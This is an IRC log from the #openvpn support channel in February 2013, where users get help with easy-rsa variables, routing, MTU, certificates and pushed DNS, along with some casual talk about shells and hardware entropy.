18:09 < neilhwatson> Is anyone using Openvpn through Roger in Canada?  If so, is your tunnel much slower that your pipe?  Do you suspect throttling on the part of Rogers?
18:19 -!- [fred] [fred@konfuzi.us] has joined #openvpn
18:20 <@krzee> im not on rogers or in canada, but i have experienced slow-down when tunneling before, its rather normal
18:20 <@krzee> it's part of redirecting your connection over the vpn before it goes to the internet exposed
18:21 <@krzee> that doesnt mean they are not throttling, i have no way to know that… but it may just be normal
18:21 < neilhwatson> From 40Mbps to 5Mbps seems a bit much.
18:21 <@krzee> you tunneling to a server that you can get 40mbps to normally?
18:21 <@krzee> (without openvpn)
18:21 < neilhwatson> 100Mbps
18:21 <@krzee> that wasnt the question
18:22 <@krzee> i didnt ask what connection its on, im asking about your real life xfer speed to the server
18:22 < neilhwatson> Fair poing
18:23 <+hazardous> hi krzee
18:23 <@krzee> hi
18:23 <+hazardous> neilhwatson: are you on a 'real' connection or a residential connection? afaik anything encrypted is throttled in some way as an anti torrent defence mechanism
18:23 <+hazardous> at least that goes for bell and bell subsidiaries
18:23 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 245 seconds]
18:26 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
18:27 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
18:27 < neilhwatson> Residential.  No one at rogers would confirm or deny throttling on a business subscription which made the premium price off putting.
18:35 < neilhwatson> confirmed 40Mbps between client and vpn server outside of tunnel :(
18:36 < pekster> Can you repeat that test going directly to the VPN endpoint, not an external host beyond that?
18:36 < pekster> ie: if you did that by doing an scp of a 50M file, to the server, for instance, do that again to the VPN IP going across the tunnel
18:37 <@krzee> exactly ^
18:37 < pekster> It's wise to make it a sufficiently large file too to overcome any initial "burst" upload you get
18:39 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 245 seconds]
18:47 -!- neilhwatson [~neilhwats@cl-274.chi-03.us.sixxs.net] has quit [Quit: Leaving.]
18:53 -!- kantlivelong [~kantlivel@47.23.189.90] has quit [Ping timeout: 245 seconds]
18:58 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
19:06 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
19:09 -!- raidz is now known as raidz_away
19:17 -!- bluethundr [~dunphy@ool-4573b723.dyn.optonline.net] has joined #openvpn
19:18 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 245 seconds]
19:19 < bluethundr> hello.. I am trying to install openvpn on centos and when I go to source ./vars it seems that all of the variables in my openssl-1.0.0.cnf file are being treated as commands by the operating system and therefor failing...
19:19 < bluethundr> http://paste.jokefire.com/index.php/view/99801869
19:19 < bluethundr> I was just wondering what I was doing wrong here
19:19 < bluethundr> tx
19:21 < pekster> Possibly a mistake in your vars file when you edited the env-var export lines
19:21 < pekster> Can you paste the vars file you're using?
19:22 < pekster> Or an error with the whichopensslcnf code, possibly
19:23 < bluethundr> yeah I can post the vars file tx
19:23 < pekster> (you could try adding a debugging 'echo' command before and after that line to see if that's where the spray of errors occurs
19:23 < pekster> Those are my 2 guesses
19:23 < pekster> Yea, let's see the vars file, then I'll see if that makes sense next
19:28 < bluethundr> here's the conf file sorry for the delay
19:28 < bluethundr> http://paste.jokefire.com/index.php/view/22005598
19:28 < pekster> The vars file was what I was interested in
19:29 < pekster> the cnf is just the openssl config and doesn't get source (or, shouldn't be as it apparently is in your case)
19:29 < bluethundr> oh sorry yeh just realized
19:29 < bluethundr> one sec I'll grab that
19:30 < bluethundr> I didn't edit this file .. perhaps i should
19:30 < bluethundr> http://paste.jokefire.com/index.php/view/66305933
19:31 < bluethundr> also thanks for the clarification
19:31 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
19:32 <@krzee> export GREP="grep"
19:32 <@krzee> heh
19:33 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Read error: Operation timed out]
19:34 < bluethundr> heh... nice
19:34 < pekster> bluethundr: Ah, you've incorrectly edited line 29
19:34 < bluethundr> oh thanks for the tip
19:34 < pekster> You either need to double-quote it, or leave it as the stock line which is as follows:
19:35 < pekster> # easy-rsa parameter settings
19:35 < pekster> # NOTE: If you installed from an RPM,
19:35 < pekster> # don't edit this file in place in
19:35 < pekster> # /usr/share/openvpn/easy-rsa --
19:35 < pekster> # instead, you should copy the whole
19:35 < pekster> # easy-rsa directory to another location
19:35 < pekster> # (such as /etc/openvpn) so that your
19:35 < pekster> # edits will not be wiped out by a future
19:35 < pekster> # OpenVPN package upgrade.
19:35 < pekster> # This variable should point to
19:35 < pekster> # the top level of the easy-rsa
19:35 < pekster> # tree.
19:35 < pekster> export EASY_RSA="`pwd`"
19:35 < pekster> #
19:35 < pekster> # This variable should point to
19:35 < pekster> # the requested executables
19:35 < pekster> #
19:35 < pekster> export OPENSSL="openssl"
19:35 < pekster> export PKCS11TOOL="pkcs11-tool"
19:35 < pekster> export GREP="grep"
19:35 -!- mode/#openvpn [+q pekster!*@*] by krzee
19:35 <@krzee> we'll let the flood go by real quick
19:35 <@krzee> :D
19:36 < bluethundr> hehe
19:36 <@krzee> mis-fire, i know
19:36 -!- mode/#openvpn [-q pekster!*@*] by krzee
19:36 < pekster> # it correctly!
19:36 -!- pekster [~rewt@openvpn/community/support/pekster] has left #openvpn [":("]
19:36 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
19:36 <@krzee> =]
19:36  * pekster sighs
19:36 <@krzee> the bot doesnt floodkick you either
19:36 < pekster> Apparently I botched my gpm+visual mode in vim
19:36 <@krzee> cause you're speshul
19:37 < pekster> So, bluethundr what, you want is to either double-quote that file to use it specifically, or put line 29 back to the stock config which is this:
19:37 < pekster> export KEY_CONFIG=`$EASY_RSA/whichopensslcnf $EASY_RSA`
19:38 < pekster> krzee: Yea, I did what should have been a terminal select, and apparently vim+gpm took over and did a "visual" select (which doesn't get put in the local clipboard.) That left my clipboard full of the paste content I put into my editor. Bleh.
19:38 < pekster> I should probably find an irssi plugin that double-checks on >3 lines of paste or somethin
19:39 <@krzee> meh it happens
19:39 < pekster> Besides that, I really like my new .vimrc file :P
19:39 <@krzee> better here than some channel you dont frequent giving help in =]
19:40 < bluethundr> will do thanks
19:41 <@krzee> bourne shell is so much more tedious than bash
19:41 < bluethundr> pekster: cool thanks for the advice
19:41 < pekster> Yea, I do bourne-esque development for openwrt, and sometimes I forget how nice bash is until I don't have it
19:41 < pekster> bluethundr: np, sorry about spamming the channel with my missed copy of the one-liner you needed
19:42 < pekster> krzee: I've also grown fond of zsh's "multios" feature. It can do fun stuff like this: echo "hello world" > >(md5sum) > >(sha1sum)
19:42 < pekster> So it basically takes stdout and clones it to multiple targets in parallel
19:43 < bluethundr> hey that's fine. but you should've used my pastebin instead lololol
19:43 < pekster> Granted you can redirect fd's in bash too, but it looks really ugly
19:45 <@krzee> even with fd's youd need tee in bash
19:45 <@krzee> to send it to multiple at once
19:45 <@krzee> afaik
19:46 < pekster> Well, you can duplicate, so make say fd4 a clone of fd1, then do background processing on fd1 & fd4, but it just looks ugly
19:46 <@krzee> oh yes true
19:46 < pekster> zsh does that a lot cleaner. And until bash4, zsh had associative arrays that bash3 didn't, but that advantage is moot now
19:47 <@krzee> they're handy
19:47 < pekster> I do hate hopping between complex bash and zsh development due to quirks like some indexing is 0 vs 1 based depending on the shell used. That's a great way to mess with one's head
19:47 <@krzee> ive used them a bit
19:47 <@krzee> ya ive never actually played with zsh
19:48 < pekster> zsh is my preferred interactive shell, although I tend to script in bash unless I actually need zsh features
19:48 < pekster> (partly for portability, and partly so my brain doesn't hurt when editing my vs system scripts)
19:49 <@krzee> i thought you use freebsd
19:49 < pekster> Nope, not really a BSD guy, although I don't mind NetBSD if one actually needs a Unix
19:50 <@krzee> now that you say that i remember you having said it before
19:50 < pekster> NetBSD had a decent userland, but I still don't like the BSD kernel phiolsophy
19:50 <@krzee> i love the (free?)bsd hier philosophy
19:50 <@krzee> i dunno if the other bsd's follow it or not, but freebsd's hier is what i feel is right
19:51 <@krzee> http://www.freebsd.org/cgi/man.cgi?query=hier&sektion=7
19:51 <@vpnHelper> Title: hier(7) (at www.freebsd.org)
19:52 < pekster> Last $job NetBSD routers were used everywhere except at the DC core routing, and it generally workred fine. One day we were overflowing state tracking for the office NAT router, and we "couldn't" fix it as it required a reboot to the new kernel for increased state, and a reboot would drop the statelessly (thus "working") VoIP calls sales had
19:52 < pekster> Linux does that via a simple sysfs node, so no reboot
19:53 -!- kantlivelong [~kantlivel@47.23.189.90] has joined #openvpn
19:53 < pekster> Stuff like that causes me to shake my head at the monolithic design
19:56 < pekster> Oh, flood-protection fixed; apparently I didn't copy over the max_msgs variable from my other network stanza
19:57 -!- kantlivelong [~kantlivel@47.23.189.90] has quit [Ping timeout: 245 seconds]
20:05 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
20:36 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
20:38 -!- p3rror [~mezgani@41.249.25.162] has quit [Read error: Operation timed out]
20:38 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 255 seconds]
21:14 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has quit [Remote host closed the connection]
21:32 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds]
21:38 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 276 seconds]
21:51 -!- kantlivelong [~kantlivel@47.23.189.90] has joined #openvpn
22:04 -!- dougquaid [~brian@pool-173-72-191-174.clppva.fios.verizon.net] has quit [Ping timeout: 252 seconds]
22:07 -!- dougquaid [~brian@173.72.191.174] has joined #openvpn
22:09 -!- nonotza [~nonotza@cpe-74-73-224-62.nyc.res.rr.com] has joined #openvpn
22:10 -!- zach [~zach@nat-192-95-29-123.bhs1.montreal.qbc.ca.nuked.co] has quit [Ping timeout: 240 seconds]
22:14 -!- dougquaid [~brian@173.72.191.174] has quit [Quit: Leaving]
22:17 -!- zach [~zach@nat-192-95-29-123.bhs1.montreal.qbc.ca.nuked.co] has joined #openvpn
22:47 < kantlivelong> does openvpn LZO+BF-CBC require alot of cpu power?
22:47 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Ping timeout: 252 seconds]
22:47 -!- rob0 [rob0@harrier.slackbuilds.org] has joined #openvpn
22:47 -!- rob0 [rob0@harrier.slackbuilds.org] has quit [Changing host]
22:47 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
23:01 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
23:11 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
23:15 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Excess Flood]
23:16 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
--- Day changed Tue Feb 26 2013
00:04 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
00:11 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Quit: ZNC - http://znc.in]
00:16 -!- Teck7__ is now known as rfxn
00:48 -!- nonotza [~nonotza@cpe-74-73-224-62.nyc.res.rr.com] has quit [Quit: nonotza]
00:49 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
00:49 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
01:12 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
01:16 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 245 seconds]
01:20 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
01:30 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:36 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 245 seconds]
01:39 -!- Netsplit *.net <-> *.split quits: VunKruz, meepmeep
01:40 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
01:40 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
01:43 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
01:46 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
01:51 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
01:52 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Quit: Ex-Chat]
01:59 -!- sh_t [~sht@176.222.238.158] has joined #openvpn
02:00 < sh_t> hi everyone. i'm looking to use a vpn on top of a vpn. the first vpn is a tun and the second (which will connect over the first) is tap. i've been advised that i will probably run into mtu sizing problems. can anyone suggest how to size each accordingly? I don't have control over the second tap link's server settings because it's a subscribed service.
02:03 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Quit: off to do some thoughtcrime]
02:07 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
02:21 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 245 seconds]
02:35 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
02:36 -!- zz_AsadH is now known as AsadH
02:37 -!- AsadH is now known as zz_AsadH
02:49 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 272 seconds]
02:56 -!- dazo_afk is now known as dazo
03:03 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
03:17 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 245 seconds]
03:17 -!- Suterusu1 [~EyeR@81.152.141.152] has joined #openvpn
03:23 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has quit [Ping timeout: 252 seconds]
03:28 -!- master_of_master [~master_of@p57B5596B.dip.t-dialin.net] has quit [Ping timeout: 276 seconds]
03:30 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
03:31 -!- Suterusu1 [~EyeR@81.152.141.152] has quit [Ping timeout: 245 seconds]
03:40 -!- mnice [~jdoe@84.242.118.58] has left #openvpn []
03:40 -!- knobo [~user@ti0125a380-1018.bb.online.no] has joined #openvpn
03:40 < knobo> To make vpn start at boot, do I need to make certificates without password then?
03:41 < EugeneKay> For unattended, yes.
03:43 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 245 seconds]
03:44 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
04:01 -!- Suterusu1 [~EyeR@81.152.141.152] has joined #openvpn
04:03 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 272 seconds]
04:11 -!- sqwerty [~sqwerty@rubberductions.plus.com] has joined #openvpn
04:11 -!- sqwerty [~sqwerty@rubberductions.plus.com] has quit [Changing host]
04:11 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has joined #openvpn
04:15 -!- baobei [~baobei@180.155.14.35] has joined #openvpn
04:16 < baobei> whats the server side directive to allow sharing of client certs
04:17 < EugeneKay> !dupe
04:17 <@vpnHelper> "dupe" is (#1) see --duplicate-cn in the manual (!man) to see how to allow multiple clients to use the same key (NOT recommended) or (#2) instead, use !pki to make a cert for each user
04:17 -!- Suterusu1 [~EyeR@81.152.141.152] has quit [Ping timeout: 245 seconds]
04:17 < baobei> thanks
04:18 < baobei> using that i dont need to add anything to the client config?
04:19 -!- baobei [~baobei@180.155.14.35] has quit [Client Quit]
04:22 < EugeneKay> Nope.
04:27 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: No route to host]
04:27 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
04:37 -!- p3rror [~mezgani@41.140.231.29] has joined #openvpn
04:38 -!- ade_b [~Ade@109.46.114.162] has joined #openvpn
04:38 -!- ade_b [~Ade@109.46.114.162] has quit [Changing host]
04:38 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:41 -!- [Xaronic] is now known as deadmoose
04:43 -!- deadmoose is now known as [Xaronic]
05:23 -!- novaflash is now known as novaflash_away
05:23 -!- novaflash_away is now known as novaflash
05:50 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
05:50 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
05:58 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
05:58 -!- Mcloven [~Mcloven@203.122.218.215] has joined #openvpn
06:03 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
06:04 -!- Mcloven [~Mcloven@203.122.218.215] has quit [Read error: Connection reset by peer]
06:04 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
06:16 -!- ade_b [~Ade@ip-109-84-70-107.web.vodafone.de] has joined #openvpn
06:16 -!- ade_b [~Ade@ip-109-84-70-107.web.vodafone.de] has quit [Changing host]
06:16 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
06:27 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
06:28 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 255 seconds]
06:28 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
06:36 -!- voidnecron [~voidnecro@unaffiliated/necron] has joined #openvpn
06:36 < voidnecron> Hi
06:37 < voidnecron> Anyone having or knows about issues with Win8?
06:37 < voidnecron> once in a while it crashes on connecting
06:37 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Quit: Reconnecting]
06:37 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
06:41 -!- Mcloven_ [~Mcloven@203.122.218.215] has joined #openvpn
06:42 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
06:44 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 240 seconds]
06:46 -!- wykydtron [tassadar@persephone.darkness-reigns.net] has quit [Ping timeout: 264 seconds]
06:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:06 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
07:08 -!- wykydtron [tassadar@persephone.darkness-reigns.net] has joined #openvpn
07:17 -!- Mcloven_ [~Mcloven@203.122.218.215] has quit [Ping timeout: 245 seconds]
07:18 -!- cherwin [~cherwin@ip4da6274e.direct-adsl.nl] has quit [Quit: leaving]
07:20 < pcdummy> Can't get my routes up to ping the clients behind my openvpn server :/
07:21 < pcdummy> This is the server conf: http://pastie.org/6340959 and this the clients: http://pastie.org/6340967
07:22 < pcdummy> I can ping the OpenVPN Server (10.8.0.1) and its private IP (192.168.142.1) but not the other clients ( 192.168.142.2 for example )
07:23 < pcdummy> http://pastie.org/6340974 <-- ping to .2
07:34 -!- ade_b [~Ade@ip-109-84-184-98.web.vodafone.de] has joined #openvpn
07:34 -!- ade_b [~Ade@ip-109-84-184-98.web.vodafone.de] has quit [Changing host]
07:34 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
07:45 < pekster> pcdummy: You don't need the route statement on line 23 on the client config since the server pushes it (it doesn't hurt, but it's simply not necessary)
07:45 < pekster> pcdummy: My guess is you didn't set up the return-routing on the server's LAN; is the VPN server also the default gateway there?
07:45 < pekster> !serverlan
07:45 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
07:52 < pcdummy> pekster: i think libvirt is the "problem"
08:14 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
08:15 < pcdummy> pekster: now i moved the OpenVPN into the lan, still can't ping other hosts except the VPN Server :/
08:16 < pcdummy> i followed that flowchart.
08:16 < pekster> I never got an answer to my earlier question about the server network gateway and the VPN server
08:17 < pekster> You likely have a firewall or routing problem
08:17 < pekster> firewall on the VPN server or the LAN's gw, or a routing issue on the gw
08:18 < pcdummy> pekster: its a single server machine running KVM on it, now the ovpn is running in a host only "virtual network"
08:19 < pekster> Right, but you need a return-route
08:19 < pekster> If there is no default gateway, packets cannot "get back" to the VPN network
08:20 < pekster> A "host only" network doesn't tend to have a gateway. It's a standalone, non-routable LAN. You need it to be routable if you expect packets to be routed to/from the network, or I suppose you could SNAT everything going in and it'll appear to inside machines as if the VPN server (presumably in the "host only" network itself) sent all the traffic
08:21 < pekster> See yourself where the LAN system wants to send the return packet with 'ip route get 10.8.0.6' or such
08:22 < pcdummy> would love to SNAT ovpn
08:23 < havoc> interesting: http://www.entropykey.co.uk/
08:23 <@vpnHelper> Title: Simtec Electronics Entropy Key: USB True Random Number Generator (at www.entropykey.co.uk)
08:23 < pekster> It's just silly to do that for rfc1918 space where you have as much as you could want. It makes sense on the IPv4 Internet where we're short addresses, but not on internal networks generally
08:24 < pekster> havoc: Yea, entropy generation is an issue for systems like webservers doing a lot of https transactions in short order as every one eats entropy
08:25 < havoc> I kindof crossposted to #proxmox too
08:25 < pekster> If an app actually needs /dev/random (not the non-blocking and less-secure urandom device) it'll block and cause connectiosn to be delayed
08:25 < havoc> it'd be real useful for topping of entropy pools on VMs
08:25 < havoc> s/of/off/
08:26 < pekster> It's "less" of an issue for openvpn since one doesn't generally get that kind of churn on entropy from normal oepnvpn usage. I'm discounting silly cases where you re-key the static keys every 15 seconds per client or something
08:26 < havoc> yeah
08:26 < pekster> Beyond testing rekeys, that's just stupid
08:26 < havoc> but I figured some here might still find it interesting :)
08:26 < pekster> Yup, hardware entropy is a nifty solution to the problem
08:27 < pekster> I also have a downloaded collection of 16k files from random.org. I tend to use them to pull out 64-bit numbers to seed my minecraft worlds ;)
08:27 < havoc> heh
08:28 < havoc> that entropy key is neat because it can be added to existing entropy pools
08:28 < havoc> and you can use more than one
08:29 < havoc> especially nice/handy if you have one of those mobos w/ one or two USB plugs on the mobo itself
08:29 < pekster> Yea, it's got great uses on embeeded hardware (assuming proper OS support) for things like the rPi and such
08:30 < pekster> There's a great article I like to refer to that discusses how the Linux kernel in particular has bad entropy on those systems as they lack traditional disk, keyboard, or mouse (the main sources of entropy) and in early-boot there's little-to-no network activity, making entropy dangerously low
08:31 < havoc> and no sound cards either; those are excellent sources of entropy
08:31 < havoc> a little DSP on the mic input, and done
08:32 < havoc> but yeah, you need either truly random (i.e. human) input, or analog input
08:32 < havoc> hard to get that w/ no HID
08:33 < pekster> f.eg, I have 2 headless servers at home: one is an app server that runs rtorrent all day long seeding FOSS materials, and the other is an admin box basically idling and doing some syslog collection. The app server has good entropy most of the time since it's got a constant flow of network & disk traffic; not so for the admin box that does very little of either
08:34 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
08:34 < pekster> http://paste.kde.org/681884/
08:34 < pekster> :)
08:35 < havoc> substantial diff there
08:36 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
08:49 -!- brute11k [~brute11k@89.249.235.210] has quit [Ping timeout: 255 seconds]
08:49 -!- brute11k1 [~brute11k@89.249.235.210] has joined #openvpn
08:51 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
08:58 < EugeneKay> Webcam, lava lamp.
09:01 <@ecrist> !vend
09:01 <@ecrist> aww
09:02 <@ecrist> we used to have something in there, back in the day
09:04 -!- baobei [~baobei@180.155.14.35] has joined #openvpn
09:07 -!- ade_b [~Ade@ip-109-41-1-25.web.vodafone.de] has joined #openvpn
09:07 -!- ade_b [~Ade@ip-109-41-1-25.web.vodafone.de] has quit [Changing host]
09:07 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
09:08 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
09:28 -!- erich [~erich@host19.duncable.cust.sover.net] has joined #openvpn
09:34 -!- erich [~erich@host19.duncable.cust.sover.net] has quit [Quit: erich]
09:53 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
10:03 -!- brute11k1 [~brute11k@89.249.235.210] has quit [Read error: Connection reset by peer]
10:05 -!- baobei [~baobei@180.155.14.35] has quit [Read error: Operation timed out]
10:06 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
10:07 -!- baobei [~baobei@101.93.91.186] has joined #openvpn
10:10 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:10 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
10:20 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
10:20 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
10:22 -!- neilhwatson [~neilhwats@CPE00e081b5ee1e-CMbc140134c320.cpe.net.cable.rogers.com] has joined #openvpn
10:25 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
10:29 -!- JSharpe [~JSharpe@10-253-3-31-anc.floodtel.net] has joined #openvpn
10:32 -!- baobei [~baobei@101.93.91.186] has quit [Read error: Connection timed out]
10:33 -!- baobei [~baobei@101.93.91.186] has joined #openvpn
10:33 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
10:34 -!- bjh4 [~bjh4@12.239.198.1] has joined #openvpn
10:37 -!- brute11k [~brute11k@89.249.235.210] has joined #openvpn
10:39 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
10:42 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
10:42 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
10:42 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
10:42 -!- mode/#openvpn [+o krzee] by ChanServ
10:43 -!- brute11k [~brute11k@89.249.235.210] has quit [Read error: Connection reset by peer]
10:57 -!- baobei [~baobei@101.93.91.186] has quit [Ping timeout: 255 seconds]
10:57 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
11:08 -!- raidz_away is now known as raidz
11:17 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:18 -!- hotwings [hd@secksy.net] has joined #openvpn
11:19 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:19 -!- mode/#openvpn [+v s7r] by ChanServ
11:25 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 264 seconds]
11:50 -!- coreGrl [~a@host18-17-dynamic.4-87-r.retail.telecomitalia.it] has joined #openvpn
11:50 < coreGrl> hi
11:53 < coreGrl> I've this kind of warning on linux, WARNING: potential route subnet conflict between local LAN [192.168.1.0/255.255.255.0] and remote VPN [192.168.1.20/255.255.255.255] and on linux I can connect to 1.20 on windows 7 it doesn't :( yes I know I've the same ip addresses on the two lan, but there is a way to solve this on windows? on linux it works :(
11:54 < pekster> Fix your network numbering. No, you can't reasonably fix that without fixing your broken network numbering scheme
11:54 < pekster> Pick one of the other 255 /24 networks in the 192.168/16 block.
11:55 < coreGrl> not so easy to achieve I'm not the netwrok manager on both lan :(
11:55 < pekster> I suppose you can see the --client-nat option in the 2.3.x release, but that's a Bad Idea™ that you should never do
11:56 < pekster> Then you need to go slap whoever set up the VPN to use what is probably the single most common network for home routers
11:56  * neilhwatson wonders if pekster is a bot or simply chained to his keyboard.
11:57 < pekster> Turing Complete ;)
12:02 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
12:03 < hotwings> PUSH: Received control message: 'PUSH_REPLY,topology subnet,route-gateway 10.200.0.1,dhcp-option DNS 208.67.222.222,dhcp-option DNS 208.67.220.220,redirect-gateway def1,ifconfig 10.200.2.8 255.255.252.0'      <--- any idea why i keep getting a 10.200.x.x ip instead of a real one?!
12:04 < pekster> That's what the served pushed. Post the server config file if you need help figuring out why that's happening
12:05 < neilhwatson> What IP were you expecting?
12:05 < pekster> Also, you should avoid use of OpenDNS; they violate spec to send you to their advertising servers for invalid domains
12:05 < hotwings> do you happen to know the exact filename (in linux)?.. sorry, im new to openvpn
12:06 < pekster> exact filename of what?
12:06 < neilhwatson> Now I'm sure.  Only a bot does PTR lookups :).  Look in /etc/openvpn/.
12:06 < hotwings> " Post the server config file if you need help figuring out why that's happening" <-- that
12:07 < pekster> neilhwatson: PTR lookups? No, I just know that IP by heart and also hate OpenDNS with a passion since they violate basic Internet protocol
12:07 < hotwings> i only see "client.cfg".. not *server*
12:07 < pekster> hotwings: The server config would be on your openvpn server, obviously
12:08 < pekster> I suppose you could call it "client.cfg" but that would be a bad name. You could call it "my_dog.jpg" too for all openvpn cares: a config is just a text file
12:10 < hotwings> i didnt name it that, its the stock name
12:10 < pekster> !learn opendns as You should avoid using OpenDNS for pushed DNS servers as they violate spec and send you to ad/search domains for mistyped URLs. Use GoogleDNS insteaad. See !dns for more info.
12:10 <@vpnHelper> Joo got it.
